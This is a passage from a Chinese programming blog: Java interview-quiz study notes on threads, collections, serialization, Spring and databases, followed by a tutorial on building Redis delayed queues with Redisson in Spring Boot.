过程中线程会释放对象锁,只有当其他线程调用 notify 才能唤醒此线程。wait 使用时必须先获取对象锁,即必须在 synchronized 修饰的代码块中使用,那么相应的 notify 方法同样必须在 synchronized 修饰的代码块中使用,如果没有在synchronized 修饰的代码块中使用时运行时会抛出IllegalMonitorStateException的异常yield和 sleep 一样都是 Thread 类的方法,都是暂停当前正在执行的线程对象,不会释放资源锁,和 sleep 不同的是 yield方法并不会让线程进入阻塞状态,而是让线程重回就绪状态,它只需要等待重新获取CPU执行时间,所以执行yield()的线程有可能在进入到可执行状态后马上又被执行。还有一点和 sleep 不同的是 yield 方法只能使同优先级或更高优先级的线程有执行的机会join等待调用join方法的线程结束之后,程序再继续执行,一般用于等待异步线程执行完结果之后才能继续运行的场景。例如:主线程创建并启动了子线程,如果子线程中药进行大量耗时运算计算某个数据值,而主线程要取得这个数据值才能运行,这时就要用到 join 方法了下列哪些操作会使线程释放锁资源?A sleep()B wait()C join()D yield()正确答案:BC你的答案:BD19.java ThreadLocalThreadLocal是Java中的一个类,它提供了线程局部变量(thread-local variables)的实现。线程局部变量允许程序员将与线程关联的特定值(通常是一个对象引用)存储在变量中。每个线程都可以拥有自己独立的变量副本,而不会与其他线程共享。ThreadLocal的主要用途是解决多线程中的数据同步问题,避免使用synchronized关键字来锁定整个方法或代码块,从而提高程序的性能。ThreadLocal的工作原理是:每个线程持有一个该变量的副本,当线程需要访问该变量时,它将获取自己的副本,而不是共享变量。因此,每个线程都可以独立地修改自己的变量副本,而不会影响其他线程的变量。ThreadLocal的使用方法如下:创建一个ThreadLocal对象:ThreadLocal<Integer> threadLocal = new ThreadLocal<>();将值设置为每个线程的变量副本:threadLocal.set(42); // 设置当前线程的变量副本为42从每个线程获取自己的变量副本:int value = threadLocal.get(); // 获取当前线程的变量副本的值在不再需要时清除当前线程的变量副本:threadLocal.remove(); // 清除当前线程的变量副本ThreadLocal在Web开发中经常被用于存储每个请求的上下文信息,例如用户信息、会话信息等。这样,每个请求都可以有自己的独立上下文,而不会与其他请求共享。20.关于HashMap的知识点a) HashMap实际上是一个“链表散列”的数据结构,即数组和链表的结合体。HashMap的底层结构是一个数组,数组中的每一项是一条链表。 b) HashMap的实例有俩个参数影响其性能: “初始容量” 和 装填因子。 c) HashMap实现不同步,线程不安全。 HashTable线程安全 d) HashMap中的key-value都是存储在Entry中的。 e) HashMap可以存null键和null值,不保证元素的顺序恒久不变,它的底层使用的是数组和链表,通过hashCode()方法和equals方法保证键的唯一性 f) 解决冲突主要有三种方法:定址法,拉链法,再散列法。HashMap是采用拉链法解决哈希冲突的。21.关于java的内存区域以下描述错误的一项是( )?A 程序计数器是一个比较小的内存区域,用于指示当前线程所执行的字节码执行 到了第几行,是线程隔离的B 原则上讲,所有的对象都是在堆区上分配内存,是线程之间共享的C 方法区用于存储JVM加载的类信息、常量、静态变量,即使编译器编译后的代码等数据,是线程隔离的D Java方法执行内存模型,用于存储局部变量,操作数栈,动态链接,方法出口等信息,是线程隔离的22.三元操作符如果遇到可以转换为数字的类型,会做自动类型提升。以下JAVA程序的运行结果是什么( )public static void main(String[] args) { Object o1 = true ? new Integer(1) : new Double(2.0); Object o2; if (true) { o2 = new Integer(1); } else { o2 = new Double(2.0); } System.out.print(o1); System.out.print(" "); System.out.print(o2); }A 1 1B 1.0 1.0C 1 1.0D 1.0 1正确答案:D你的答案:A23.类实现多个接口的时候,只需要一个implements,多个接口通过逗号进行隔开,先继承类再实现接口在java中,已定义两个接口B和C,要定义一个实现这两个接口的类,以下语句正确的是()A interface A extends B,CB interface A eimplements B,CC class A implements B,CD class A implements B,implements C正确答案:C你的答案:D24.类中实例变量可以不用初始化,使用相应类型的默认值即可;方法中的定义的局部变量必须初始化,否则编译不通过。下面代码的运行结果是()public static void main(String[] args){ String s; System.out.println("s="+s); }A 代码编程成功,并输出”s=”B 代码编译成功,并输出”s=null”C 由于String s没有初始化,代码不能编译通过。D 代码编译成功,但捕获到NullPointException异常正确答案:C你的答案:A参考答案:局部变量没有默认值25.switch支持 int及以下(char, short, byte),String, Enum 。不支持long类型在java7中,下列不能做switch()的参数类型是?A int型B 枚举类型C 字符串D 浮点型正确答案:D你的答案:B参考答案:Dswitch语句后的控制表达式只能是short、char、int整数类型和枚举类型,不能是float,double和boolean类型。String类型是java7开始支持。下面的switch语句中,x可以是哪些类型的数据:()switch(x) { default: System.out.println("Hello"); }A longB charC floatD byteE doubleF String正确答案:BDF你的答案:ABDF26.java是面向对象的,但是不是所有的都是对象,基本数据类型就不是对象,所以才会有封装类的;27.java多线程生命周期及对应的方法调用以下哪个事件会导致线程销毁?()A 调用方法sleep()B 调用方法wait()C start()方法的执行结束D run()方法的执行结束正确答案:D你的答案:C28.抛InterruptedException的代表方法有:java.lang.Object 类的 wait 方法java.lang.Thread 类的 sleep 方法java.lang.Thread 类的 join 方法29.线程安全的集合有Vector、Stack、Hashtable30. 数组无论是在定义为实例变量还是局部变量,若没有初始化,都会被自动初始化31. 发生继承关系时父子类代码执行顺序1.父类静态代码块:如果有多个静态代码块,按顺序执行,仅执行一遍2.子类静态代码块:同上3.父类非静态代码块: 有多个非静态代码块,按顺序执行,且每次new,每次执行4.父类构造函数5.子类非静态代码块: 有多个非静态代码块,按顺序执行,且每次new,每次执行6.子类构造函数32.序列化的是对象,不是类,类变量不会被序列化有以下一个对象:public class DataObject implements Serializable{ private static int i=0; private String word=" "; public void setWord(String word){ this.word=word; } public void setI(int i){ Data0bject.i=i; } }创建一个如下方式的DataObject:DataObject object=new Data0bject ( ); object.setWord("123"); object.setI(2);将此对象序列化为文件,并在另外一个JVM中读取文件,进行反序列化,请问此时读出的Data0bject对象中的word和i的值分别为:A "", 0B "", 2C "123", 2D "123", 0正确答案:D你的答案:C参考答案:这道题的答案应该是: D,序列化保存的是对象的状态,静态变量属于类的状态,因此,序列化并不保存静态变量。所以i是没有改变的33.java数组的复制效率:System.arraycopy>使用clone方法>Array.copyOf>for 循环逐一复制34.HashTable和HashMap的区别(7点):1.继承的父类不同:HashTable继承Dictory类,HashMap继承AbstractMap.但都实现了Map接口; 2.线程安全性不同:HashTable是线程安全的,适用于多线程;HashMap是非线程安全,更适合于单线程; 3.是否提供contains方法:HashTable中保留了contains方法,与constainsValue功能相同;HashMap中去掉了contains方法; 4.key和value是否可为null值:HashTable的key、value都不允许null值;HashMap,null可以作为key; 5.遍历方式的内部实现不同:HashTable、HashMap都使用了Iterator,HashTable还使用过Enumeration方式;6.hash值不同:HashTable直接使用对象的hashCode,而HashMap重新计算hash值。 7.内部使用的数组初始化和扩容方式不同:Hashtable不要求底层数组的容量一定要为2的整数次幂,而HashMap则要求一定为2的整数次幂;Hashtable扩容时,将容量变为原来的2倍加1,而HashMap扩容时,将容量变为原来的2倍。35.Math 类三个用于数值处理的静态方法:ceil(), floor() 和 round().ceil()Math.ceil() 方法返回大于或等于给定数字的最小整数。换句话说,它会将给定的数字向上取整。floor()Math.floor() 方法返回小于或等于给定数字的最大整数。换句话说,它会将给定的数字向下取整。round()Math.round() 方法将给定的数字四舍五入为最接近的整数。36.关于父子类方法重写的错题:class Car extends Vehicle { public static void main (String[] args) { new Car(). run(); } private final void run() { System. out. println ("Car"); } } class Vehicle { private final void run() { System. out. println("Vehicle"); } }下列哪些针对代码运行结果的描述是正确的?A CarB VehicleC Compiler error at line 3D Compiler error at line 5E Exception thrown at runtime正确答案:A你的答案:D参考答案:答案:A 首先final声明的方法是不能被覆盖的,但是这里并不错误,因为方法是private的,也就是子类没有继承父类的run方法,因此子类的run方法跟父类的run方法无关,并不是覆盖。new Car().run()也是调用子类的run方法。37.Java ArrayList扩容在 Java 中,ArrayList 是一种动态数组,其大小(即容量)可以根据需要自动增长。当你向 ArrayList 中添加元素,并且当前的容量不足以容纳新的元素时,ArrayList 会自动进行扩容。下面是 ArrayList 扩容的基本过程:初始化容量:当你创建一个新的 ArrayList 时,你可以指定一个初始容量。如果你不指定,它会使用默认容量,通常是 10。添加元素:当你使用 add 方法向 ArrayList 中添加元素时,它会检查当前数组是否有足够的空间来容纳新元素。扩容:如果当前数组已满,ArrayList 会创建一个新的数组,其容量通常是当前数组的 1.5 倍(确切地说,新容量 = 当前容量 + (当前容量 >> 1)),然后将所有现有元素复制到新数组中。添加新元素:在新数组中,将新元素添加到适当的位置。ArrayList list = new ArrayList(20);中的list扩充几次A 0B 1C 2D 3正确答案:A你的答案:B38.类的final成员变量必须满足以下其中一个条件1、在构造函数中赋值 2、初始化赋值class Foo { final int i; int j; public void doSomething() { System.out.println(++j + i); } }的输出是?A 0B 1C 2D 不能执行,因为编译有错正确答案:D你的答案:B39.定义在同一个包(package)内的类可以不经过import而直接相互使用40.static不能修饰局部变量关于下面的程序Test.java说法正确的是( )。public class Test { static String x="1"; static int y=1; public static void main(String args[]) { static int z=2; System.out.println(x+y+z); } }A 3B 112C 13D 程序有编译错误正确答案:D你的答案:B41.java标识符规则标识符的组成元素是字母(a-z,A-Z),数字(0~9),下划线(_)和美元符号($)。 标识符不能以数字开头。 java的标识符是严格区分大小写的。 标识符的长度可以是任意的。 关键字以及null、true、false不能用于自定义的标识符。下列可作为java语言标识符的是()A a1B $1C _1D 11正确答案:ABC你的答案:AC42.replaceAll()函数的第一个参数是一个正则表达式以下代码将打印出public static void main (String[] args) { String classFile = "com.jd.". replaceAll(".", "/") + "MyClass.class"; System.out.println(classFile); }A com. jdB com/jd/MyClass.classC ///////MyClass.classD com.jd.MyClass正确答案:C你的答案:B官方解析:本题有一处陷阱,replaceAll()函数的第一个参数是一个正则表达式,而"."在正则表达式中代表了全部的字符,因此"com.jd."会全部被替换成"/"。之后字符串正常拼接,输出"///////MyClass.class",答案选择C。如想仅仅替换".",就需要使用转义字符"\."知识点:Java、正则表达式43.关于java的内部类44.Java一维数组的两种初始化方法1、静态初始化int array[] = new int[]{1,2,3,4,5} // 或者 int array[] = {1,2,3,4,5} //需要注意的是,写成如下形式也是错误的 int array[] = new int[5]{1,2,3,4,5}2、动态初始化int array[] = new int[5]; array[0] = 1; array[1] = 2; array[2] = 3; array[3] = 4; array[4] = 5;静态与动态初始化的区别就在于,前者是声明的时候就初始化,后者是先声明,再动态初始化。45.List<>赋值给List<>的限制只看尖括号里边的!!明确点和范围两个概念如果尖括号里的是一个类,那么尖括号里的就是一个点,比如List<A>,List<B>,List<Object>如果尖括号里面带有问号,那么代表一个范围,<? extends A>代表小于等于A的范围,<? super A>代表大于等于A的范围,<?>代表全部范围尖括号里的所有点之间互相赋值都是错,除非是俩相同的点尖括号小范围赋值给大范围,对,大范围赋值给小范围,错。如果某点包含在某个范围里,那么可以赋值,否则,不能赋值List<?>和List 是相等的,都代表最大范围补充:List既是点也是范围,当表示范围时,表示最大范围class A {}class B extends A {}class C extends A {}class D extends B {}下面的哪4个语句是正确的?A The type List<A>is assignable to List.B The type List<B>is assignable to List<A>.C The type List<Object>is assignable to List<?>.D The type List<D>is assignable to List<?extends B>.E The type List<?extends A>is assignable to List<A>.F The type List<Object>is assignable to any List reference.G The type List<?extends B>is assignable to List<?extends A>.正确答案:ACDG你的答案:CDEG46.关于final:修饰方法影响重写,但是不影响重载final修饰方法后,方法是不可被重写的,因为它已经是“最终形态”了。但不会影响重载以下说法错误的是( )A final修饰的方法不能被重载B final可以修饰类、接口、抽象类、方法和属性C final修饰的方法也不能被重写D final修饰的属性是常量,不可以修改正确答案:AB你的答案:B47.关于java的自动类型转换和强制类型转换数据类型的转换,分为自动转换和强制转换。自动转换是程序在执行过程中 “ 悄然 ” 进行的转换,不需要用户提前声明,一般是从位数低的类型向位数高的类型转换;强制类型转换则必须在代码中声明,转换顺序不受限制。 自动数据类型转换 自动转换按从低到高的顺序转换。不同类型数据间的优先关系如下: 低 ---------------------------------------------> 高 byte,short,char-> int -> long -> float -> double运算中,不同类型的数据先转化为同一类型,然后进行运算,转换规则如下: 运算中,不同类型的数据先转化为同一类型,然后进行运算,转换规则如下:操作数 1 类型操作数 2 类型转换后的类型byte 、 short 、 charintintbyte 、 short 、 char 、 intlonglongbyte 、 short 、 char 、 int 、 longfloatfloatbyte 、 short 、 char 、 int 、 long 、 floatdoubledouble强制数据类型转换 强制转换的格式是在需要转型的数据前加上 “( )” ,然后在括号内加入需要转化的数据类型。有的数据经过转型运算后,精度会丢失,而有的会更加精确设计模式1.备忘录模式(Memento pattern)当你需要让对象返回之前的状态时(例如, 你的用户请求"撤销"), 你使用备忘录模式现在大多数软件都有撤销(Undo)的功能,快捷键一般都是Ctrl+Z。这些软件可能使用了()模式来进行。A 备忘录模式B 访问者模式C 模板方法模式D 责任链正确答案:A你的答案:Dspring1.Spring事务参考资料:Spring事务管理详解-CSDN博客Spring事务的传播属性Spring定义了7个以PROPAGATION\_开头的常量表示它的传播属性。名称值解释PROPAGATION\_REQUIRED0支持当前事务,如果当前没有事务,就新建一个事务。这是最常见的选择,也是Spring默认的事务的传播。PROPAGATION\_SUPPORTS1支持当前事务,如果当前没有事务,就以非事务方式执行。PROPAGATION\_MANDATORY2支持当前事务,如果当前没有事务,就抛出异常。PROPAGATION\_REQUIRES\_NEW3新建事务,如果当前存在事务,把当前事务挂起。PROPAGATION\_NOT\_SUPPORTED4以非事务方式执行操作,如果当前存在事务,就把当前事务挂起。PROPAGATION\_NEVER5以非事务方式执行,如果当前存在事务,则抛出异常。PROPAGATION\_NESTED6如果当前存在事务,则在嵌套事务内执行。如果当前没有事务,则进行与PROPAGATION\_REQUIRED类似的操作。Spring事务的隔离级别名称值解释ISOLATION\_DEFAULT-1这是一个PlatfromTransactionManager默认的隔离级别,使用数据库默认的事务隔离级别。另外四个与JDBC的隔离级别相对应ISOLATION\_READ\_UNCOMMITTED1这是事务最低的隔离级别,它充许另外一个事务可以看到这个事务未提交的数据。这种隔离级别会产生脏读,不可重复读和幻读。ISOLATION\_READ\_COMMITTED2保证一个事务修改的数据提交后才能被另外一个事务读取。另外一个事务不能读取该事务未提交的数据。ISOLATION\_REPEATABLE\_READ4这种事务隔离级别可以防止脏读,不可重复读。但是可能出现幻读。ISOLATION\_SERIALIZABLE8这是花费最高代价但是最可靠的事务隔离级别。事务被处理为顺序执行。除了防止脏读,不可重复读外,还避免了幻读。2.@Autowired注解用@Autowired注入的流程为 :1.先根据类型进行实现类的匹配,多个实现类则不适用 2.多个实现类则会变为根据名称来匹配,就是比较注入的变量名称是否与实现类的名称相同有如下接口:public interface Student{ public void introduce(); }该接口有两个实现类:@Component public class StudentImplXH implements Student { @Override public void introduce() { System.out.println("我叫小华"); } } @Component public class StudentImplXM implements Student{ @Override public void introduce() { System.out.println("我叫小明"); } }测试类中代码如下:@Autowired private Student student; @Test void StudentTest(){ student.introduce();运行测试代码,控制台会输出什么结果?( )A 我叫小华我叫小明B我叫小华C我叫小明D程序发生异常正确答案:D你的答案:C官方解析:@Autowired注解提供这样的规则,首先根据类型找到对应的Bean,如果对应类型的 Bean 不是唯一的,那么就根据属性名称和Bean的名称进行匹配。如果匹配得上,就会使用该Bean。如果还无法匹配,就会抛出异常。3.BeanFactory和FactoryBeanBeanFactory是所有Spring Bean的容器根接口,其给IoC容器提供了一套完整的规范。FactoryBean是 一种创建Bean的方式,是对Bean的一种扩展。4.Spring容器中Bean作用域• singleton:在每个Spring IoC容器中只有一个Bean实例。 • prototype:一个Bean的定义可以有多个实例。 • request:在Web应用中,为每个HTTP请求创建一个Bean实例。 • session:在Web应用中,为每个HTTP会话创建一个Bean实例。 • global session:在基于portlet的Web应用中,为每个全局HTTP会话创建一个Bean实例。数据库理论1. 在数据库系统中,产生不一致的原因数据库中可能存在不一致的数据,主要有以下三个方面:A.数据冗余;B.并发控制不当;C.故障或者错误下面选项中,在数据库系统中,产生不一致的最重要原因是( )A 数据存储量太大B 没有严格保护数据C 未对数据进行完整性控制D 数据冗余正确答案:D你的答案:C参考答案:选D 数据库中有可能会存在不一致的数据。 造成数据不一致的原因主要有: 数据冗余 如果数据库中存在冗余数据,比如两张表中都存储了用户的地址,在用户的地址发生改变时,如果只更新了一张表中的数据,那么这两张表中就有了不一致的数据。 并发控制不当 比如某个订票系统中,两个用户在同一时间订同一张票,如果并发控制不当,可能会导致一张票被两个用户预订的情况。当然这也与元数据的设计有关。 故障和错误 如果软硬件发生故障造成数据丢失等情况,也可能引起数据不一致的情况。因此我们需要提供数据库维护和数据恢复的一些措施。知识点:数据库2.数据库设计的六个阶段1、需求分析:分析用户的需求,包括数据、功能和性能需求 2、概念结构设计:主要采用E-R模型进行设计,包括画E-R图 3、逻辑结构设计:通过将E-R图转换成表,实现从E-R模型到关系模型的转换 4、数据库物理设计:主要是为所设计的数据库选择合适的存储结构和存取路径 5、数据库的实施:包括编程、测试和试运行 6、数据库运行与维护:系统的运行与数据库的日常维护
2023年12月30日
52 阅读
4 评论
0 点赞
2023-11-03
SpringBoot集成Redisson延迟队列
0. 使用场景下单成功,30分钟未支付。支付超时,自动取消订单订单签收,签收后7天未进行评价。订单超时未评价,系统默认好评下单成功,商家5分钟未接单,订单取消配送超时,推送短信提醒1.Redisson延迟队列原理redisson 使用了 两个list + 一个 sorted-set + pub/sub 来实现延时队列,而不是单一的sort-set。sorted-set:存放未到期的消息&到期时间,提供消息延时排序功能list1:存放未到期消息,作为消息的原始顺序视图,提供如查询、删除指定第几条消息的功能(分析源码得出的,查看哪些地方有使用这个list)list2:消费队列,存放到期后的消息,提供消费整体流程(对应画图PPT链接): 结合源码分析:org.redisson.RedissonDelayedQueue#RedissonDelayedQueue 首先创建延时队列的时候,会创建一个QueueTransferTask, 在里面会订阅一个topic,订阅成功后,执行其pushTask方法,里面会查询sorted-set中100个已到期的消息,将其push到lis2中,并从sorted-set和list1中移除。(这里是为了投递历史未处理的消息)protected RedissonDelayedQueue(QueueTransferService queueTransferService, Codec codec, final CommandAsyncExecutor commandExecutor, String name) { super(codec, commandExecutor, name); channelName = prefixName("redisson_delay_queue_channel", getRawName()); queueName = prefixName("redisson_delay_queue", getRawName()); timeoutSetName = prefixName("redisson_delay_queue_timeout", getRawName()); QueueTransferTask task = new QueueTransferTask(commandExecutor.getConnectionManager()) { @Override protected RFuture<Long> pushTaskAsync() { return commandExecutor.evalWriteAsync(getRawName(), LongCodec.INSTANCE, RedisCommands.EVAL_LONG, "local expiredValues = redis.call('zrangebyscore', KEYS[2], 0, ARGV[1], 'limit', 0, ARGV[2]); " + "if #expiredValues > 0 then " + "for i, v in ipairs(expiredValues) do " + "local randomId, value = struct.unpack('dLc0', v);" + "redis.call('rpush', KEYS[1], value);" + "redis.call('lrem', KEYS[3], 1, v);" + "end; " + "redis.call('zrem', KEYS[2], unpack(expiredValues));" + "end; " // get startTime from scheduler queue head task + "local v = redis.call('zrange', KEYS[2], 0, 0, 'WITHSCORES'); " + "if v[1] ~= nil then " + "return v[2]; " + "end " + "return nil;", Arrays.<Object>asList(getRawName(), timeoutSetName, queueName), System.currentTimeMillis(), 100); } @Override protected RTopic getTopic() { return RedissonTopic.createRaw(LongCodec.INSTANCE, commandExecutor, channelName); } }; queueTransferService.schedule(queueName, task); this.queueTransferService = queueTransferService; } org.redisson.RedissonDelayedQueue#offerAsync(V, long, java.util.concurrent.TimeUnit) 发送延时消息时,会将消息写入 list1和 sorted-set 中,msg会添加一个randomId,支持发送相同的消息。并且判断sorted-set首条消息如果是刚插入的,则publish timeout(到期时间) 到 topicpublic RFuture<Void> offerAsync(V e, long delay, TimeUnit timeUnit) { if (delay < 0) { throw new IllegalArgumentException("Delay can't be negative"); } long delayInMs = timeUnit.toMillis(delay); long timeout = System.currentTimeMillis() + delayInMs; long randomId = ThreadLocalRandom.current().nextLong(); return commandExecutor.evalWriteAsync(getRawName(), codec, RedisCommands.EVAL_VOID, "local value = struct.pack('dLc0', tonumber(ARGV[2]), string.len(ARGV[3]), ARGV[3]);" + "redis.call('zadd', KEYS[2], ARGV[1], value);" + "redis.call('rpush', KEYS[3], value);" // if new object added to queue head when publish its startTime // to all scheduler workers + "local v = redis.call('zrange', KEYS[2], 0, 0); " + "if v[1] == value then " + "redis.call('publish', KEYS[4], ARGV[1]); " + "end;", Arrays.<Object>asList(getRawName(), timeoutSetName, queueName, channelName), timeout, randomId, encode(e)); }org.redisson.QueueTransferTask#scheduleTask 订阅到topic消息后,会先判断其是否临期(delay<10ms),如果是则调用pushTask方法,不是则启动一个定时任务(使用的netty时间轮),延时delay后执行pushTask方法。// 订阅topic onMessage 时调用 private void scheduleTask(final Long startTime) { TimeoutTask oldTimeout = lastTimeout.get(); if (startTime == null) { return; } if (oldTimeout != null) { oldTimeout.getTask().cancel(); } long delay = startTime - System.currentTimeMillis(); if (delay > 10) { // 使用 netty 时间轮 启动一个定时任务 Timeout timeout = connectionManager.newTimeout(new TimerTask() { @Override public void run(Timeout timeout) throws Exception { pushTask(); TimeoutTask currentTimeout = lastTimeout.get(); if (currentTimeout.getTask() == timeout) { lastTimeout.compareAndSet(currentTimeout, null); } } }, delay, TimeUnit.MILLISECONDS); if (!lastTimeout.compareAndSet(oldTimeout, new TimeoutTask(startTime, timeout))) { timeout.cancel(); } } else { pushTask(); } } private void pushTask() { RFuture<Long> startTimeFuture = pushTaskAsync(); startTimeFuture.onComplete((res, e) -> { if (e != null) { if (e instanceof RedissonShutdownException) { return; } log.error(e.getMessage(), e); scheduleTask(System.currentTimeMillis() + 5 * 1000L); return; } if (res != null) { scheduleTask(res); } }); }2.SpringBoot集成实验环境:SpringBoot版本3.0.12<parent> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-parent</artifactId> <version>3.0.12</version> <relativePath/> <!-- lookup parent from repository --> </parent>2.1 引入 Redisson 依赖 <!--redission--> <dependency> <groupId>org.redisson</groupId> <artifactId>redisson-spring-boot-starter</artifactId> <version>3.19.0</version> </dependency>2.2 配置文件spring: data: redis: host: 172.19.236.66 port: 6379 #password: 123456 database: 0 timeout: 30002.3 创建 RedissonConfig 配置package com.example.redissionstudy.config; import org.redisson.Redisson; import org.redisson.api.RedissonClient; import org.redisson.config.Config; import org.springframework.beans.factory.annotation.Value; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; /** * @author LuoJia * @version 1.0 * @description: Redis链接配置文件 * @date 2023/11/3 8:59 */ @Configuration public class RedissonConfig { @Value("${spring.data.redis.host}") private String host; @Value("${spring.data.redis.port}") private int port; @Value("${spring.data.redis.database}") private int database; //@Value("${spring.data.redis.password}") //private String password; @Bean public RedissonClient redissonClient() { Config config = new Config(); config.useSingleServer() .setAddress("redis://" + host + ":" + port) .setDatabase(database); //.setPassword(password) return Redisson.create(config); } }测试使用@SpringBootTest @Slf4j class RedissionStudyApplicationTests { @Resource RedissonClient redissonClient; @Test void testRedission() { //字符串操作 RBucket<String> rBucket = redissonClient.getBucket("strKey"); // 设置value和key的有效期 rBucket.set("张三", 30, TimeUnit.MINUTES); // 通过key获取value System.out.println(redissonClient.getBucket("strKey").get()); } }张三redis查看结果127.0.0.1:6379> keys str* 1) "strKey" 127.0.0.1:6379> get strKey "\x03\x83\xe5\xbc\xa0\xe4\xb8\x89"2.4 封装 Redis 延迟队列工具类package com.example.redissionstudy.utils; import lombok.extern.slf4j.Slf4j; import org.redisson.api.RBlockingDeque; import org.redisson.api.RDelayedQueue; import org.redisson.api.RedissonClient; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Component; import java.util.Map; import java.util.concurrent.TimeUnit; /** * @author LuoJia * @version 1.0 * @description: Redission 延迟队列工具类 * @date 2023/11/3 9:51 */ @Slf4j @Component public class RedisDelayQueueUtil { @Autowired private RedissonClient redissonClient; /** * 添加延迟队列 * * @param value 队列值 * @param delay 延迟时间 * @param timeUnit 时间单位 * @param queueCode 队列键 * @param <T> */ public <T> void addDelayQueue(T value, long delay, TimeUnit timeUnit, String queueCode) { try { RBlockingDeque<Object> blockingDeque = redissonClient.getBlockingDeque(queueCode); RDelayedQueue<Object> delayedQueue = redissonClient.getDelayedQueue(blockingDeque); delayedQueue.offer(value, delay, timeUnit); log.info("(添加延时队列成功) 队列键:{},队列值:{},延迟时间:{}", queueCode, value, timeUnit.toSeconds(delay) + "秒"); } catch (Exception e) { log.error("(添加延时队列失败) {}", e.getMessage()); throw new RuntimeException("(添加延时队列失败)"); } } /** * 获取延迟队列 * * @param queueCode * @param <T> * @return * @throws InterruptedException */ public <T> T getDelayQueue(String queueCode) throws InterruptedException { RBlockingDeque<Map> blockingDeque = redissonClient.getBlockingDeque(queueCode); T value = (T) blockingDeque.take(); return value; } }2.5 创建延迟队列业务枚举package com.example.redissionstudy.enums; import lombok.AllArgsConstructor; import lombok.Getter; import lombok.NoArgsConstructor; /** * @author LuoJia * @version 1.0 * @description: 延迟队列业务枚举 * @date 2023/11/3 9:53 */ @Getter @AllArgsConstructor @NoArgsConstructor public enum RedisDelayQueueEnum { ORDER_PAYMENT_TIMEOUT("ORDER_PAYMENT_TIMEOUT", "订单支付超时,自动取消订单", "orderPaymentTimeout"), ORDER_TIMEOUT_NOT_EVALUATED("ORDER_TIMEOUT_NOT_EVALUATED", "订单超时未评价,系统默认好评", "orderTimeoutNotEvaluated"); /** * 延迟队列 RedisKey */ private String code; /** * 中文描述 */ private String name; /** * 延迟队列具体业务实现的 Bean * 可通过 Spring 的上下文获取 */ private String beanId; }2.6 定义延迟队列执行器package com.example.redissionstudy.handler; /** * @author LuoJia * @version 1.0 * @description: 延迟队列执行器接口 * @date 2023/11/3 9:58 */ public interface RedisDelayQueueHandle<T>{ void execute(T t); }2.7 创建枚举中定义的Bean,并实现延迟队列执行器OrderPaymentTimeout:订单支付超时延迟队列处理类package com.example.redissionstudy.handler.impl; import com.example.redissionstudy.enums.RedisDelayQueueEnum; import com.example.redissionstudy.handler.RedisDelayQueueHandle; import lombok.extern.slf4j.Slf4j; import org.springframework.stereotype.Component; import java.util.Map; /** * @author LuoJia * @version 1.0 * @description: 订单支付超时处理类 * @date 2023/11/3 10:00 */ @Component @Slf4j public class OrderPaymentTimeout implements RedisDelayQueueHandle<Map> { @Override public void execute(Map map) { log.info("{} {}", RedisDelayQueueEnum.ORDER_PAYMENT_TIMEOUT.getName(), map); // TODO 订单支付超时,自动取消订单处理业务... } } OrderTimeoutNotEvaluated:订单超时未评价延迟队列处理类package com.example.redissionstudy.handler.impl; import com.example.redissionstudy.enums.RedisDelayQueueEnum; import com.example.redissionstudy.handler.RedisDelayQueueHandle; import lombok.extern.slf4j.Slf4j; import org.springframework.stereotype.Component; import java.util.Map; /** * @author LuoJia * @version 1.0 * @description: 订单超时未评价处理类 * @date 2023/11/3 10:01 */ @Component @Slf4j public class OrderTimeoutNotEvaluated implements RedisDelayQueueHandle<Map> { @Override public void execute(Map map) { log.info("{} {}", RedisDelayQueueEnum.ORDER_TIMEOUT_NOT_EVALUATED.getName(), map); // TODO 订单超时未评价,系统默认好评处理业务... } }2.8 创建延迟队列消费线程,项目启动完成后开启package listener; import com.example.redissionstudy.enums.RedisDelayQueueEnum; import com.example.redissionstudy.handler.RedisDelayQueueHandle; import com.example.redissionstudy.utils.RedisDelayQueueUtil; import lombok.extern.slf4j.Slf4j; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.boot.CommandLineRunner; import org.springframework.context.ApplicationContext; import org.springframework.stereotype.Component; /** * @author LuoJia * @version 1.0 * @description: 启动延迟队列 * @date 2023/11/3 10:02 */ @Slf4j @Component public class RedisDelayQueueRunner implements CommandLineRunner { @Autowired private RedisDelayQueueUtil redisDelayQueueUtil; @Autowired private ApplicationContext applicationContext; @Override public void run(String... args) { new Thread(() -> { while (true) { try { RedisDelayQueueEnum[] queueEnums = RedisDelayQueueEnum.values(); for (RedisDelayQueueEnum queueEnum : queueEnums) { Object value = redisDelayQueueUtil.getDelayQueue(queueEnum.getCode()); if (value != null) { RedisDelayQueueHandle redisDelayQueueHandle = (RedisDelayQueueHandle) applicationContext.getBean(queueEnum.getBeanId()); redisDelayQueueHandle.execute(value); } } } catch (InterruptedException e) { log.error("(Redis延迟队列异常中断) {}", e.getMessage()); } } }).start(); log.info("(Redis延迟队列启动成功)"); } }以上步骤,Redis 延迟队列核心代码已经完成,下面我们写一个测试接口,用 PostMan 模拟测试一下2.9 创建一个测试接口,模拟添加延迟队列package com.example.redissionstudy.controller; /** * @author LuoJia * @version 1.0 * @description: 延迟队列测试 * @date 2023/11/3 10:05 */ import com.example.redissionstudy.enums.RedisDelayQueueEnum; import com.example.redissionstudy.utils.RedisDelayQueueUtil; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RestController; import java.util.HashMap; import java.util.Map; import java.util.concurrent.TimeUnit; @RestController public class RedisDelayQueueController { @Autowired private RedisDelayQueueUtil redisDelayQueueUtil; @GetMapping("/addQueue") public void addQueue() { Map<String, String> map1 = new HashMap<>(); map1.put("orderId", "100"); map1.put("remark", "其他信息"); Map<String, String> map2 = new HashMap<>(); map2.put("orderId", "200"); map2.put("remark", "其他信息"); // 添加订单支付超时,自动取消订单延迟队列。为了测试效果,延迟10秒钟 redisDelayQueueUtil.addDelayQueue(map1, 10, TimeUnit.SECONDS, RedisDelayQueueEnum.ORDER_PAYMENT_TIMEOUT.getCode()); // 订单超时未评价,系统默认好评。为了测试效果,延迟20秒钟 redisDelayQueueUtil.addDelayQueue(map2, 20, TimeUnit.SECONDS, RedisDelayQueueEnum.ORDER_TIMEOUT_NOT_EVALUATED.getCode()); } }运行结果2023-11-03T10:09:46.800+08:00 INFO 21480 --- [ main] o.s.b.w.embedded.tomcat.TomcatWebServer : Tomcat started on port(s): 8080 (http) with context path '' 2023-11-03T10:09:46.816+08:00 INFO 21480 --- [ main] c.e.r.RedissionStudyApplication : Started RedissionStudyApplication in 4.888 seconds (process running for 5.743) 